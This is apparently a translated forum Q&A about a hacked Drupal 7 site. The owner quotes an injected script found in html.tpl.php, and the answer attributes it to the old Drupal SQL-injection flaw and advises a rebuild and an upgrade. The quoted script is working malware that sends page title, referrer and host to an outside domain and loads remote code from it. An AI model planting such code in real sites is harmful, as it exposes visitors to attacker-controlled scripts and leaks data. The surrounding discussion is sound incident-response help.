最近我的Drupal网站被重新安装在7.23上。我必须基本上回到过去,恢复旧数据库,然后复制/粘贴HTML以获得当前站点的干净版本。不幸的是,即使经历了所有这些,今天我正在检查我的网站,当我加载管理仪表板时,我在浏览器的左下角看到了一个尴尬的URL。该网址为' nla98.it'。所以我使用Sublime文本在文件中运行了一个find,并找到了以下代码,我肯定没有将其插入到我的modules / system / html.tpl.php中:
<script>
var a=''; setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://nla98.it/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);
if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){
document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
}
</script>
显然这是执行代码的某种脚本。但我的问题是,这是如何注入我的网站的?我正在运行Drupal 7,升级到7.41,我已经多次运行更新脚本和cron。我正在运行的脚本是:
jquery.js?v=1.12.0
jquery.once.js?v=1.2
drupal.js
jquery.cookie.js?v=1.0
textarea.js?v=7.41
jquery-ui-1.8.23.custom.min.js
gumby.js
modernizr-2.0.6.min.js
mobile-menu.js
jquery.ui.totop.js
easing.js
plugins.js
jquery.tweet.js
main.js
montreal.js
supersized.js
gen_validatorv31.js
http://html5shiv.googlecode.com/svn/trunk/html5.js
http://platform.linkedin.com/in.js
它可能是我正在使用的过时JS之一的漏洞利用吗?我使用的模板是蒙特利尔(有点旧)。
感谢您的想法。
答案 0 :(得分:0)
Drupal中存在一个非常关键的漏洞,直到版本7.32(登录时sql注入)。您基本上可以做任何事情:以超级管理员身份登录然后执行php代码/上传文件(带菜单)/创建帐户/ ....我怀疑你的问题来自过时的js库。 那么升级核心后你可以做些什么:
更快但更激进的解决方案(并且唯一一个100%安全):擦除您的服务器重新安装它,从您的版本控制软件(git,svn,...)复制旧的基础和drupal文件,并将核心升级到7.41。 / p>
下次尝试更频繁地升级你的drupal核心,这个漏洞在知道之后几乎立即被修复,大多数被攻击的网站等待太久才能更新核心。